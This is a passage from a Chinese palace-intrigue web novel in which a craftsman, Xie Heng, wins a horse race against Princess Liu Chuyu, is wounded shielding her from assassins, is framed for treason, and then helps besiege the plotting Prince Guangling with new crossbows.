婢女垂着头,声音细若蚊蚋。
“老爷说您是谢家的希望,万万不能累坏了身子。”
谢珩还没来得及消化这个信息,门口就传来一个冰冷中带着几分戏谑的声音。
“哟,本宫的巧匠什么时候还添了位红袖添香的俏佳人啊?”
谢珩心里咯噔一下。
只见刘楚玉斜倚在门框上,一身艳丽的绯色寝衣松松垮垮地穿着,长发披散衬得那张脸越发妩媚,也越发危险。
她明明在笑,可那笑意却未达眼底。
婢女吓得“扑通”一声跪倒在地,浑身抖得和筛糠似的。
“奴婢……奴婢参见公主殿下……”
刘楚玉看都未看她一眼,径直走到谢珩面前,伸出纤纤玉指将那件披在他身上的外袍慢条斯理地挑起,然后随手扔在了地上。
“本宫的人,什么时候轮到旁人来关心了?”
她微微俯身凑到谢珩耳边,温热的气息混着幽兰的香气,吹得他脖颈发痒。
“怎么,大牢里的窝窝头没吃够,又想换换口味了?”
谢珩头皮发麻。
这女人,吃醋的样子怎么跟要**似的。
“公主,这是误会,她是我……”
“本宫不管她是你什么人。”
刘楚玉直起身,居高临下地看着地上那个已经快要哭出来的婢女。
“从哪儿来的,滚回哪儿去。”
说完,她又看向谢珩,脸上重新挂起慵懒的笑。
“明日,皇家马场有场马球会,建康城里有名有姓的世家子弟都会去。”
“你,也跟着去。”
“做什么?”
“自然是给本宫的那些青年才俊们,讲讲你是怎么种地的。”
她顿了顿,红唇勾起一抹残忍的弧度。
“也好让你瞧瞧什么才是真正的鲜衣怒马,金玉满堂。”
“别总待在这堆破铜烂铁里忘了自己的身份。”
第二**家马场。
果然是
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冠盖云集,人声鼎沸。
谢珩穿着一身不合时宜的工匠青衫,百无聊赖地跟在刘楚玉身后,听着她和一群打扮得花枝招展的公子哥们谈笑风生。
“哎呀公主殿下,这位便是您府上那位神乎其技的巧匠吗?”
“瞧着倒是……朴实。”
“哈哈,公主慧眼识珠不拘一格降人才嘛!”
那些世家子弟嘴上恭维,投向谢珩的视线里却满是轻蔑和审视。
谢珩懒得理会,自顾自地找了个角落抓起一把瓜子磕了起来。
刘楚玉见他这副死猪不怕开水烫的模样,心里就来气。
她扬起马鞭遥遥指向谢珩,声音清亮。
“谢巧匠,光说不练假把式。”
“你那犁耕得快,不知这马骑得如何?”
所有人的视线瞬间聚焦过来。
这是要当众羞辱他了。
谁知谢珩磕掉最后一颗瓜子,拍了拍手咧嘴一笑。
“还行吧,勉强会骑。”
他慢悠悠地走到马厩,牵出了一匹看起来最瘦弱的劣马翻身而上。
“公主,想怎么比?”
刘楚玉见他应战反而一愣,随即冷笑。
“好胆色。”
“就绕场三圈,谁先到终点算谁赢。”
“彩头呢?”
“本宫若赢了,你府上那个婢女即刻发卖。”
刘楚玉的凤眸里闪着寒光。
“你若赢了……”
她顿了顿,扬起下巴,傲然道。
“本宫,随你处置一天。”
话音刚落,她已一夹马腹,胯下那匹神骏的汗血宝马如离弦之箭般冲了出去。
全场爆发出一阵喝彩。
所有人都以为谢珩必输无疑。
可就在刘楚玉遥遥领先,即将完成第一圈,得意地回头挑衅时。
她看见,那匹瘦弱的劣马,以一种不可思议的速度,从外道切了进来。
谢珩的身子几乎完全贴在马背上,整个人与马仿佛融为了一体。
他没有马鞍,没有脚蹬,仅凭双腿的力量,便将那匹劣马的潜力压榨到了极致。
风驰电掣。
在满场惊骇的注视下,谢珩于最后一个弯道,干净利落地完成了超越。
全场死寂。
第12章 今晚任你处置
所有人的表情都凝固了,尤其是那群方才还言笑晏晏的世家子弟,此刻嘴巴张得能塞进一颗鸡蛋。
刘楚玉跨坐在神骏的汗血宝马上,脸上的得意与傲慢还未完全褪去,就被这突如其来的反转冲刷得一干二净。
她看着那个在终点线后勒马回身的青衫男子,那副懒洋洋的笑容,此刻比任何讥讽都来得刺眼。
怎么可能?
她胯下的是大宛进贡的千里马,他骑的,是马厩里喂料都减半的病秧子!
谢珩没管周围的惊愕,他慢悠悠地翻身下马,走回到刘楚玉面前,拍了拍那匹劣马的脖颈。
“公主,承让了。”
他咧嘴一笑,露出一口白牙。
“你说的任我处置,还算数吗?”
刘楚玉的脸色一阵青一阵白,胸口剧烈起伏。
她本是想借这些真正的天之骄子,来敲打敲打这个不知天高地厚的工匠。
结果,敲打的反倒变成了她自己。
她深吸一口气,强压下心头的怒火,从牙缝里挤出几个字。
“本宫……金口玉言。”
“那成。”
谢珩点点头,煞有介事地摸着下巴,上上下下打量了她一番。
在众人紧张的注视下,他忽然凑近了些,压低声音。
“那……今晚吗?”
刘楚玉:“?!”
谢珩一本正经:“就当我一天厨师,给我做个……红烧狮子头吧,要肥而不腻的那种。”
“噗!”
不知道是谁没忍住,笑出了声。
刘楚玉那张艳丽无双的脸,瞬间涨成了猪肝色。
她感觉自己所有的怒火,所有的算计,所有的骄傲,都在这一刻,被一个红烧狮子头给打得粉碎。
羞辱!
这是赤裸裸的羞辱!
她宁可谢珩提出什么过分的要求,也好过这样被他轻飘飘地用一个菜名给打发了!
“滚!”
刘楚玉猛地一甩马鞭,不是抽向谢珩,而是遥遥指着那群还愣在原地的世家子弟。
“一群废物!连个种地的都比不过,还有脸站在这儿碍眼!”
“都给本宫滚!”
怒吼声响彻马场,那群倒霉的公子哥如蒙大赦,又羞又怕,连滚带爬地作鸟兽散。
闹剧,就此收场。
……
三日后,广陵王府。
皇帝赵元稷的亲叔叔广陵王赵泰设五十寿宴,遍请皇亲国戚与朝中重臣,场面宏大。
刘楚玉自然也在受邀之列。
她似乎已经忘了马场那日的不快,又恢复了那副高高在上的公主派头。
一袭金丝鸾鸟纹的宫装,衬得她华贵无匹,发髻上珠翠环绕,步步生莲,甫一入场,便成了全场焦点。
谢珩跟在她身后,换上了一身合体的锦袍,依旧扮演着那个不怎么安分的“巧匠”角色。
广陵王赵泰年过半百,面相和善,笑起来眼角全是褶子,亲自将刘楚玉迎至上宾之位。
“哎呀,公主殿下能来,真是令老臣这陋室蓬荜生辉啊!”
“王叔客气了。”
刘楚玉慵懒地落座,对这套虚礼应付自如。
宴会开始,丝竹悦耳,舞姬们水袖翻飞,一派歌舞升平的景象。
酒过三巡,菜过五味。
广陵王赵泰端着酒杯,颤颤巍巍地走到刘楚玉案前。
“公主殿下,老臣再敬您一杯,愿我大虞国泰民安,愿公主千岁安康!”
刘楚玉端起酒杯,正欲饮下。
“砰!”
广陵王手中的酒杯,忽然“失手”滑落,在光洁的地板上摔得粉碎。
清脆的碎裂声,像是某种信号。
几乎在同一时间,那群原本在殿中翩翩起舞的舞姬,眼中骤然爆出森然杀机!
她们从宽大的水袖中抽出雪亮的**,动作迅猛如电,竟是直扑御座上的刘楚玉而来!
变故只在瞬息之间!
离得最近的一名舞姬,已经越过数名呆若木鸡的侍卫,手中寒刃破空,直刺刘楚玉的面门!
那冰冷的锋芒,在刘楚玉惊愕的瞳孔中,越放越大。
她甚至来不及尖叫。
就在这时,一道身影旋风般地挡在了她的案前。
是谢珩。
他几乎是凭着本能,将身前的桌案猛地掀翻,用那沉重的木料去阻挡刺客。
“噗嗤!”
利刃入肉的声音,沉闷而清晰。
刺客的**,被桌案挡偏了方向,却依旧狠狠地贯穿了谢珩的左肩。
猩红的血,瞬间喷
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溅而出,有几滴,滚烫地落在了刘楚玉华美的宫装上,绽开一朵朵妖异的红梅。
时间,仿佛在这一刻凝固了。
刘楚玉瞳孔剧震,整个人都僵住了。
“有刺客!护驾!”
广陵王发出一声惊恐的尖叫,随即竟不知从哪来的力气,夺过身旁侍卫的长剑,状若疯狂地朝着那名得手后一愣神的刺客砍去。
“大胆贼人,敢在老夫府中行刺公主!死!”
剑光闪过,那名女刺客还没来得及做出任何反应,便被一剑封喉,满脸不可置信地倒在了血泊中。
一场惊天刺杀,就这么被广陵王“雷霆万钧”地平息了。
可殿内的惊恐,却丝毫未减。
“谢珩……”
刘楚玉终于反应过来,声音干涩。
她看着那个挡在她身前,身形却有些晃动的男人,左肩的血正汩汩地往外冒,染红了他大片的衣袍。
“啊!”
一声凄厉的尖叫,划破了王府的夜空。
刘楚玉一把扯下发髻上那根象征着身份的凤头金钗,看都没看一眼,任其跌落在地。
她连滚带爬地扑到谢珩身边,跪倒在地。
“别动!你别动!”
她那双向来只懂抚琴弄妆的纤纤玉手,此刻沾满了温热的鲜血,颤抖着,去按压那深可见骨的可怕伤口。
血却怎么也止不住,从她的指缝间不断涌出。
“太医!!”
刘楚玉抬起头,那张美艳绝伦的脸上,此刻满是泪水和血污,再无半分平日的慵懒。
“太医!给本宫叫太医来!!”
“他要是有事,本宫要你们所有人陪葬!!!”
公主府乱成了一锅粥。
谢珩昏迷了三天三夜,刘楚玉就守了他三天三夜。
她第一次觉得,自己这双引以为傲,能描绘出天下最精致眉样的手,竟是如此笨拙。
金剪刀在她指尖颤抖,绞开那被血浸透凝固的衣料时,发出“咔嚓咔嚓”的声响。
太医满头大汗地用小刀剜去腐肉,她就站在旁边死死盯着,凤眸里布满血丝,牙齿咬得下唇都失了血色。
“轻点!你没吃饭吗!手抖什么!”
太医手一哆嗦,险些把刀掉在地上。
第13章 诬陷通敌**
药粥熬好了,婢女要喂,被她一把抢了过来。
“滚开,本宫亲自来。”
可那盛满汤药的白玉小碗,在她手里晃得着实厉害。
一勺递到谢珩干裂的唇边,能洒掉大半碗。
滚烫的药汁顺着他脖颈流下,婢女们看得心惊肉跳,却没一个敢出声。
刘楚玉干脆把碗一放,直接用手指沾着粥,往他嘴里抹。
“吃!给本宫吃下去!”
“听见没有,不准死!”
没人看着的时候,她就从枕头底下摸出本话本子,坐在床边,有声有色地念叨。
“……他,权倾朝野的冷面阎罗,却独独对这个敢在他面前放肆的女人,生出了别样的情愫……”
“他一把将她揽入怀中,低沉沙哑的嗓音在她耳边响起:女人,你成功引起了我的注意……”
念到一半,谢珩肩上的伤口忽然又有血丝渗出。
刘楚玉声音戛然而止。
她慌乱地丢开话本,手忙脚乱地去捂那伤口,仿佛这样就能把血按回去。
“不准流了!你再流,本宫……本宫就把你那破炉子全砸了!”
……
谢珩在公主府“养伤”的消息,如同长了翅膀,飞遍了建康城的每一个角落。
而另一边,广陵王府。
几个从公主府请来的工匠,正跪在赵泰面前,抖如筛糠。
“王爷饶命,王爷饶命啊!”
“那淬火之法,谢珩看得比命还重,我等实在是……”
赵泰笑呵呵地扶起为首的山羊胡老头。
“老人家,别怕。”
“本王不要你们的淬火之法。”
他从袖中取出一封早已备好的信笺,和一个沉甸甸的钱袋。
“本王只要你们……按个手印。”
老工匠颤抖着接过信,只看了一眼,便吓得魂飞魄散。
那信,是以谢珩的口吻写的,内容竟是要将炒钢炼铁之术,卖给北边的敌国!
“不……不……王爷,这万万使不得啊!这是要掉脑袋的!”
赵泰脸上的笑容未变,语气却冷了下来。
“哦?不使也行。”
“只不过……本王听说,你家的小孙子,前几日好像得了风寒?”
老工匠的脸,瞬间惨白如纸。
……
御书房内,死一般的寂静。
赵元稷坐在龙案后,死死攥着那封由广陵王呈上来的“通敌密信”。
信纸被他捏得变了形,发出一阵“咔咔”声。
信的末尾,那几个鲜红的指印,刺眼得让他胸口发闷。
“陛下,此乃广陵王冒死从谢珩逆贼府上搜出,人证物证俱在!”
吏部侍郎王端跪在下方,慷慨陈词。
“那谢珩,先是妖言惑众,蛊惑公主,毁坏皇家园林,如今更是包藏祸心,意图通敌**!”
“此等狼子野心之徒,若不严惩,何以安天下,何以慰民心!”
“请陛下,下旨,将谢珩明正典刑!”
“臣附议!”
“臣等附议!”
满朝文武,竟有一大半跪了下来,声浪震得房梁都在嗡嗡作响。
赵元稷闭上眼。
他脑海里,一边是皇姐梨花带雨,哭着求他救谢珩的脸。
另一边,是那柄削铁如泥的黑刀,是能让大虞国力倍增的曲辕犁。
可现在,这一切,都变成了一封通敌的信。
他,是大虞的天子。
他可以容忍一个有才华的狂徒,甚至可以为了他顶住压力。
但他绝不能容忍一个叛**。
“陛下!”
广陵王赵泰也跪了下来,老泪纵横。
“谢珩身受重伤,正是其心防最弱之时,此时不审,更待何时!”
“若让他伤愈,与公主再议,恐生变数啊!”
赵元稷猛地睁开眼。
那双与刘楚玉有七分相似的眸子里,此刻只剩下冰冷的决断。
“传朕旨意。”
他的声音,没有一丝温度。
“将罪臣谢珩,打入诏狱,听候审问!”
此言一出,满堂皆惊。
诏狱!
那是天子亲辖的监狱,进去的人,九死一生!
王端和广陵王对视一眼,都从对方眼中看到了得逞的喜色。
公主府。
一队披坚执锐的禁军,如狼似虎地冲进了西厢别院。
刘楚玉正拿着湿帕子,给谢珩擦拭脸颊。
“你们做什么!谁准你们进来的!滚出去!”
为首的禁
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军统领硬着头皮,拿出一卷明黄的圣旨。
“公主殿下,末将奉旨,捉拿叛国逆贼谢珩!”
“你说什么?”
刘楚玉以为自己听错了。
“逆贼?谁是逆贼?”
“陛下有旨,谢珩通敌**,罪证确凿,即刻押入诏狱!”
轰!
刘楚玉只觉得脑子里有什么东西炸开了。
她踉跄着后退一步,撞翻了床边的药碗,瓷器碎裂一地。
“不……不可能……”
“皇弟他……他不会的……”
她疯了一样冲出房门,想要去拦那些禁军,却被两个侍卫死死架住。
她只能眼睁睁地看着,那个还昏迷不醒的男人,被粗暴地从床上拖起,锁上镣铐,像拖一条死狗一样拖了出去。
那道贯穿肩膀的伤口,因为剧烈的动作再次裂开,鲜血顺着他的手臂蜿蜒而下,在青石板上留下一道刺目的红。
“赵元稷!!”
一声凄厉的嘶吼,划破了公主府的上空。
“你敢动他,我跟你没完!!!”
……
诏狱的阴风,似乎穿透了宫墙,吹进了金碧辉煌的公主府。
刘楚玉站在西厢别院的门口,看着那条从房内延伸出来,蜿蜒至院门的血迹。
那是谢珩的血。
她脸上的泪痕早已风干,只留下一片冰冷。
“来人。”
她的声音嘶哑,却异常平静。
几个婢女战战兢兢地围了上来。
“把本宫那件金丝鸾鸟纹的宫装,烧了。”
“把本宫妆台上的所有珠钗首饰,全都扔到湖里去。”
“备麻衣。”
婢女们吓得面无人色,跪倒一片。
“公主,不可啊!此乃大不敬!”
刘楚玉缓缓转过身,那双哭到红肿的凤眸里,再无半分平日的妩媚,只剩下疯狂。
“本宫的话,听不懂吗?”
半个时辰后,大虞朝最尊贵的朝阳公主,褪尽华服,卸去钗环,一袭粗麻孝衣,赤着一双雪白玉足,一步一步,走出了公主府。
天,不知何时,飘起了雪。
细碎的雪花落在她乌黑的发上,落在她单薄的麻衣上,很快便融化,浸出刺骨的寒意。
第14章 请出诏狱
刘楚玉手中,捧着一卷图册。
那是京郊千亩良田的丰收绘图,是新犁推广的成效总览。
图册之下,还压着一封厚厚的万民书,上面按满了密密麻麻的红手印,每一个手印,都代表着一个因曲辕犁而看到希望的家庭。
她就这么走着,穿过宫门,踏上那条通往太庙的青石长阶。
赤足踩在积了薄雪的石阶上,冰冷彻骨。
她却仿佛感觉不到。
一步,两步……
每一步,都在洁白的雪地上,留下一个浅浅的、带着血色的脚印。
太庙前,她直挺挺地跪了下去。
双手高高举起那图册与万民书,化作石像般久跪不起。
消息很快传遍了京城。
“听说了吗?朝阳公主披麻戴孝,长跪太庙了!”
“为了那个叫谢珩的巧匠!听说那人要被问斩了!”
“什么巧匠,那是个叛**!”
“叛**?我爹说,要不是谢公子的神犁,我们家今年冬天都得饿死!”
京郊的农户们,最先炸开了锅。
他们不懂什么朝堂争斗,不懂什么狼子野心。
他们只知道,是那个叫谢珩的年轻人,让他们用一头牛干了两头牛的活。
是那个叫谢珩的年轻人,让他们几十年来,第一次在地里直起了腰。
“谢公子是好人!”
“陛下抓错人了!”
不知是谁第一个扛起了自家的曲辕犁,冲向了城门。
紧接着,第二个,第三个……
成百上千的农户,扛着他们视若珍宝的新犁,汇成一股黑压压的洪流,涌向了皇城。
他们没有兵器,没有甲胄,只有一身的力气和满心的朴实。
他们不会喊什么诛杀奸臣的口号,只会用最笨拙的方式表达自己的意愿。
“咚!”
第一架曲辕犁被重重地放在了宫门前的石板地上。
紧接着,“咚!”“咚!”“咚!”
数千架曲辕犁,在宫门前汇成了一片奇异的景象。
农人们黑着脸,抿着唇,齐刷刷地跪了下去。
“陛下!谢公子是青天啊!”
一声嘶吼,划破了长空。
“谢青天——!”
“谢青天——!!”
数千人的呼喊,汇成了一股撼天动地的声浪,冲天而起。
那声音震得宫墙上的积雪簌簌落下,震得太庙檐角的神兽都仿佛在颤抖。
御书房内。
赵元稷烦躁地来回踱步。
王端与广陵王跪在下面,还在喋喋不休地陈述着谢珩的“罪证”。
可外面的那一声声“谢青天”,却像一记记重锤狠狠敲在他的心上。
“陛下,民心易惑,切不可因妇人之仁而误了国之大计啊!”广陵王声泪俱下。
一阵狂风卷过,将窗户吹得“啪”一声大开。
一片被风雪裹挟的纸张,打着旋儿飘了进来,不偏不倚正好落在了赵元稷的御案上。
赵元稷低头看去。
那是一页从万民书中被吹落的纸,上面写满了歪歪扭扭的名字,按着一个个鲜红刺目的指印。
他拿起那张纸,指尖都在发颤。
鬼使神差地,他走出了御书房登上了高高的宫墙。
风雪迷了他的眼。
他看到宫门外,黑压压跪着一片人和一片奇形怪状的犁。
他又看到了太庙前,那个单薄倔强的身影。
他的皇姐,那个从小娇生惯养连绣花针扎一下手都要哭半天的皇姐。
此刻正披着一身麻衣,赤着脚长跪在冰天雪地里。
她脚下的青石已经被一片暗红的血色浸染,然后又被新落的雪花覆盖,再被新的血迹染红。
赵元稷只觉得胸口像是被一块巨石死死压住,喘不过气。
他想起了小时候他被人欺负,是皇姐拿着根鸡毛掸子追着那群世家子弟打了三条街。
他想起了登基之初,朝局不稳,是皇姐没日没夜地陪着他批阅奏折,给他讲笑话解闷。
他想起皇姐是如何兴高采烈地向他展示那柄黑刀,又是如何眉飞色舞地跟他描述那曲辕犁的神奇。
他这皇姐,自恋、爱美、脾气坏,可她什么时候骗过他?
再看下方,王端那张“忠心耿耿”的脸,广陵王那副“为国分忧”的神情,此刻在他眼中,都变得无比虚伪,无比恶心。
“呵……”
赵元稷忽然低低地笑了一声。
他猛地转身,大步走回御书房。
在王端和广陵王惊愕的注视下,他一把抓起御案上那封装裱精美的“通敌密信”。
“砰!
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”
他狠狠将证物砸在地上,然后抬起脚,一脚一脚,状若疯狂地将那封信,将那几个工匠的血手印,全都踏得粉碎!
“皇姐……”
赵元稷双目赤红,咬着牙,一字一顿。
“你这是要逼死朕啊!”
他猛地抬头,对着殿外嘶吼。
“来人!”
“传朕旨意!”
“即刻派御医去太庙!”
“告诉公主,朕的巧匠,朕亲自去诏狱……请回来!”
公主府内。
谢珩已被从诏狱中接回,好在接的及时,并未受任何刑罚。
太医正满头大汗地给谢珩换药,那道从左肩贯穿的伤口依旧狰狞。
“嘶……”
谢珩疼得咧了咧嘴,却还有心情冲着旁边的人眨眼。
刘楚玉得知消息,已经从太庙迅速回来。
此刻她正死死盯着太医的手,换下了一身麻衣,却也只穿了件素净的白裙,未施粉黛的脸上写满了焦躁。
“手稳点!你是没吃饭还是昨晚没睡好?”
太医手一颤,险些把镊子掉地上,心里叫苦不迭。
公主殿下您在旁边站着,杀气腾腾的,谁能稳得住啊。
“公主殿下亲自给臣换的药?”谢珩忽然开口,声音还有些虚弱,“那这伤口可不能好太快。
”刘楚玉一愣,随即狠狠瞪了他一眼。
“想得美!本宫的手是给你换药的吗?”
嘴上凶巴巴的,手却很诚实地抢过婢女递来的温水,亲自喂到他唇边。
谢珩就着她的手喝了几口,苍白的脸上总算有了点血色。
他目光扫过房间,陆安和工部尚书陈大人都在,一个个面色凝重,跟奔丧似的。
“行了,都别这副表情。”
谢珩靠在软枕上,喘了口气,“我还没死呢,哭什么丧。”
陆安凑了上来,压低声音:“仁兄,你可算醒了!”
“皇帝那边虽然松了口,可广陵王和王端那伙人还在蹦跶,说什么是公主逼宫,陛下才不得不妥协……”
“意料之中。”
谢珩扯了扯嘴角,牵动伤口,又是一阵抽气。
“老狐狸,不会这么轻易认输的。”
他看向陈尚书:“陈大人,工部那边,我让你准备的东西,如何了?”
第15章 前朝血诏秘闻
陈尚书拱了拱手,面带忧色:“谢公子,您吩咐的都已备好,只是……”
“您这身子,此时动手,是否太过冒险?”
“等我伤好了,黄花菜都凉了。”
谢珩的眼神冷了下来,“对付疯狗,就得在他以为你最虚弱的时候,一棍子打死。
”他示意陆安铺开一张建康城的舆图,用没受伤的右手颤颤巍巍地在上边画了个圈。
圈的中心,正是广陵王府。
刘楚玉在旁边看着,忽然开口:“钱够不够?不够本宫的内帑你随便用。”
“人手呢?要不要本宫去跟皇弟要一队禁军?”
谢珩笑了。
“钱,公主殿下您出。”
“人嘛……”
他看向窗外深沉的夜色,“陛下已经给我了……”
子时。
夜色如墨,一场大雪刚停,整个建康城万籁俱寂。
广陵王府,依旧灯火通明。
白日的刺杀闹剧和朝堂上的唇枪舌剑,似乎并未影响王府的奢靡。
赵泰正坐在暖阁里,悠闲地品着新茶,听着心腹的汇报。
“王爷,宫里传来消息,皇帝最终还是没顶住压力,把那谢珩给放了。”
“本王已经知道了。”
赵泰冷笑一声,“我那侄儿,就是个被他姐姐攥在手里的傀儡。”
“无妨,放了又如何?一个受了重伤的竖子,翻不起什么浪花了。”
他放下茶杯,眼中闪过一抹狠厉:“通敌的罪名按不死他,就给他换一个。
“告诉王端,明日继续上书,就说谢珩妖术惑主,请国师来做法,把他烧了!”
心腹正要领命,外面却忽然传来一阵喧哗。
“王爷!不好了!王府……王府被围了!”
赵泰猛地站起身:“什么人!吃了熊心豹子胆了!”
他快步冲出暖阁,登上府内高墙,顿时倒吸一口凉气。
王府外,黑压压的人影在雪地里绰绰而立,火把连成一条长龙,将整个王府围得水泄不通。
为首的,正是陆安和陈尚书,而在他们身后,那些身着黑衣,面无表情,身上散发着森然气息的,分明是皇帝的亲卫——暗卫!
赵泰心头一沉,但很快又镇定下来。
“就凭你们也想动本王?来人,给本王把府兵都叫出来!本王倒要看看,谁敢在太岁头上动土!”
一声令下,王府内训练有素的数百府兵手持刀枪,从各个角落涌出,气势汹汹地就要往外冲。
陆安看得心里发毛,忍不住回头看了一眼停在不远处的马车。
马车里,谢珩正靠着车壁,脸色苍白如纸。
“仁兄,顶得住吗?他们人不少啊。”
“人多,有时候不一定管用。”
谢珩轻轻咳嗽了两声,冲着车外下令:“放信号。”
一枚红色的烟花冲天而起,在漆黑的夜空中炸开。
赵泰正要下令府兵冲锋,却忽然听到一阵密集的,令人心惊的“咔嚓”声。
只见围在王府外的那些人,齐刷刷地从背后取下了一种造型奇特的**。
那**通体泛着乌光,比寻常军**要小巧,结构却复杂得多,散发着冰冷的金属气息。
“那是什么玩意儿?”
赵泰心中升起一股不祥的预感。
下一秒,答案揭晓。
“放!”
随着一声令下。
没有震天的呐喊,只有撕裂夜空的尖啸!
数百支乌黑的**箭,在火光下划出一道死亡轨迹,汇成一片密不透风的箭雨,兜头盖脸地朝着王府门口的府兵射去!
“噗!噗!噗!”
利箭入肉的声音连成一片,惨叫声此起彼伏。
那些身着精良皮甲的府兵,引以为傲的防御在这些**箭面前,脆弱得如同纸糊的一般。
百步之外,箭矢轻而易举地洞穿了他们的甲胄,带起一蓬蓬血雾。
仅仅一轮齐射,冲在最前面的上百名府兵便倒在了血泊之中,后面的府兵吓得肝胆俱裂,纷纷后退,再不敢上前一步。
高墙上的赵泰,如坠冰窟,浑身冰凉。
他死死地盯着那些黑衣人手中的杀器,嘴唇哆嗦着,一个字也说不出来。
那是什么**?为何有如此威力!
为何能射这么远!这不可能!
这时,那辆被众人护在中间的马车,缓缓向前。
车帘被一只苍白的手掀开,露出谢珩那张带着几分戏谑笑容的脸。
他遥遥望着墙上失魂落魄的赵泰,中气不足,声音却清晰地传遍了每个人的耳朵。
“王爷,时代变了。”
广陵王赵泰脸上的血色,以一种肉眼可见的速度褪得干干净净。
王府外,方才还气势汹汹的数百府兵,此刻溃不成军,丢盔弃甲,抱着被箭矢贯穿的同伴哀
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嚎,再不敢上前一步。
“竖子!竖子!!”
赵泰终于从极致的震惊中回过神来,指着马车里的谢珩,声音都变了调。
他猛地转身,竟不再理会外面的围困,而是连滚带爬地朝着府内深处的一座阁楼冲去。
陆安心头一紧。
“仁兄,他要跑!”
“跑不了。”
谢珩咳嗽了两声,苍白的脸上泛起一丝病态的潮红。
“他不是跑,是去取最后的底牌。”
他冲着陈尚书微微点头。
“陈大人,该请君入瓮了。”
“是!”
陈尚书此刻对谢珩已是佩服得五体投地,他大手一挥,皇帝的暗卫们便如潮水般涌入王府大门,动作迅捷,悄无声息,将整个王府内院彻底控制。
广陵王府的后院,一座平日里戒备森严的藏宝阁前。
赵泰状若疯癫,他手里多了一支火把,另一只手里,则死死攥着一卷明黄色的卷轴。
那卷轴不知是何年代之物,边缘已经泛黄,上面隐隐透出暗红的血字。
“都别过来!”
赵泰看着步步紧逼的暗卫,嘶声尖叫。
“这!这是前朝高祖皇帝的血诏!上面写着我大虞皇室得位不正的惊天秘闻!”
他高高举起火把,就要往那卷轴上凑。
“你们再逼一步,本王就将它付之一炬!”
“到时候,就算你们杀了我,这流言蜚语也足以让我那好侄儿的江山,坐不稳当!”
暗卫们脚步一顿,齐刷刷地看向后方那辆缓缓驶入庭院的马车。
这是要挟。
用一个足以动摇国本的秘密,来换他一条生路。
赵泰见状,脸上浮现出得意的狞笑。
他赌对了!
谢珩再厉害,也不敢拿皇帝的名声开玩笑!
马车里,谢珩看着他那副小人得志的嘴脸,轻轻摇了摇头。
他连开口的力气都省了,只是抬起右手,做了一个极其细微的下压手势。
一直在车旁待命的一名暗卫头领,无声地抬起了手中的连**。
“咔。”
机括上弦的细微声响起。
赵泰的狞笑僵在了脸上。
他看到那乌黑的**口,正遥遥对着自己。
一股前所未有的寒意,从他尾椎骨直冲天灵盖!
疯了!
这个谢珩是个疯子!
他真的敢!
第16章 关门打狗,一只别放过
“你……”
赵泰刚吐出一个字,求生的本能让他做出了最后的挣扎。
他猛地将火把砸向那卷血诏,身体则向着一旁那根雕着蟠龙的廊柱扑去,试图躲避。
就在他动作的瞬间。
“咻!”
一道尖锐的破空声,撕裂了空气!
那声音短促而暴戾,不似寻常弓箭,更像是一声愤怒的龙吟。
赵泰惊恐地看到,那支乌黑的**箭,精准地穿透了他手中那卷刚刚举起的血诏。
卷轴被洞穿,却并未伤及上面的血字。
紧接着,那支**箭去势不减。
“噗嗤!”
一声闷响。
**箭带着那卷血诏,狠狠地贯穿了赵泰的右手手腕!
“啊!!!”
凄厉的惨叫,划破了夜空。
赵泰还没来得及倒下,就感觉一股巨力将他整个人都钉在了身后的柱子上。
“铛!”
**箭的箭簇,最终深深地嵌入了那根坚硬的蟠龙柱,发出一声金石交击的巨响。
赵泰整个人,连同那份所谓的不知真假的“惊天秘密”,被一箭死死地钉在了廊柱上!
庭院里,只剩下广陵王赵泰钉在廊柱上,那杀猪般的惨叫。
他另一只手徒劳地去拔那根贯穿了手腕和血诏的**箭,可箭簇深嵌廊柱,纹丝不动。
每一次拉扯,都带来一阵锥心刺骨的剧痛。
“服软,或者死。”
马车里,谢珩的声音传来,砸碎了赵泰最后的心理防线。
“我说!我都说!”
赵泰浑身瘫软,像一滩烂泥般顺着柱子滑下,只有被钉住的手还高高挂着,姿势怪异。
“是王端!是琅琊王氏!刺杀公主是他谋划的!嫁祸你通敌也是他一手安排的!”
他涕泪横流,再无半分皇亲国戚的体面。
“他说,只要除了你,扳倒了公主,这大虞的天下,就是他王家的天下!”
谢珩听着,没再开口。
他只是轻轻挥了挥手。
几名暗卫上前,干脆利落地卸了赵泰的下巴,用布堵住他的嘴,将他从柱子上“撕”了下来,拖死狗一样拖走了。
……
太庙。
大虞朝最神圣的地方,此刻却气氛凝重,压抑得让人喘不过气。
皇帝赵元稷端坐上方,脸色铁青。
阶下,文武百官分列两侧,噤若寒蝉。
正中央,跪着被堵着嘴、浑身狼狈的广陵王赵泰。
吏部尚书陈大人手捧一叠供词,字字铿锵。
“……广陵王赵泰,谋逆犯上,行刺朝阳公主,证据确凿!”
“其供述,所有谋划,皆受琅琊王氏吏部侍郎王端指使!”
所有人的视线,都聚焦在了王端身上。
王端面不改色,从队列中走出,对着赵元大稷拜倒。
“陛下,广陵王犯下滔天大罪,为求活命,攀咬诬陷,此乃穷途末路之举,其言何足为信!”
他抬起头,声震殿宇。
“我琅琊王氏,世代忠良,为大虞镇守江山,何曾有过二心!”
“陛下!万万不可因一叛贼的疯言疯语,而寒了满朝忠臣之心啊!”
话音刚落,他身后立刻跪倒一大片官员。
“请陛下明察!王大人忠心可鉴!”
“动王氏,则朝局动荡,国本不稳,请陛下三思!”
“臣等附议!”
呼啦啦跪倒了一片,竟有近半数的重臣。
他们不是在为王端辩解,而是在用整个朝廷的安稳来施压。
“你们!”赵元稷气得浑身发抖,猛地一拍龙椅扶手。
这是威胁!赤裸裸的威胁!
他的江山,竟然要被这些盘根错错节的门阀世家所裹挟!
他看向阶下,那些跪着的,都是朝廷的柱石,每一个都牵连着无数的利益与人脉。
动一个王端容易,可动他背后的琅琊王氏,动这跪下的一片人,整个大虞朝堂恐怕立刻就要瘫痪。
赵元稷的拳头捏得死紧,他感觉自己这是隐隐有被架空的风险啊。
他愤怒,却无能为力。
最终,他颓然地靠回椅背,闭上了眼睛。
“此事……容后再议。将赵泰,押入天牢,严加看管!”
……
公主府,西厢。
谢珩靠在软榻上,听着陆安带回来的消息,脸上倒是很淡定。
那道狰狞的伤口刚刚换过药,还隐隐作痛。
“
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就这么算了?”刘楚玉气得把手里的茶杯重重往桌上一顿,“我被行刺,你差点没命,最后就一句容后再议?”
她越想越气。
“皇弟,你当得也太窝囊了!”
“他不是窝囊,是没得选。”
谢珩慢悠悠地给自己倒了杯水。
皇帝是锤子,可朝堂是个泥潭,锤子砸不烂泥潭,只会被陷进去。
“那怎么办?就看着王端那老匹夫逍遥法外?”
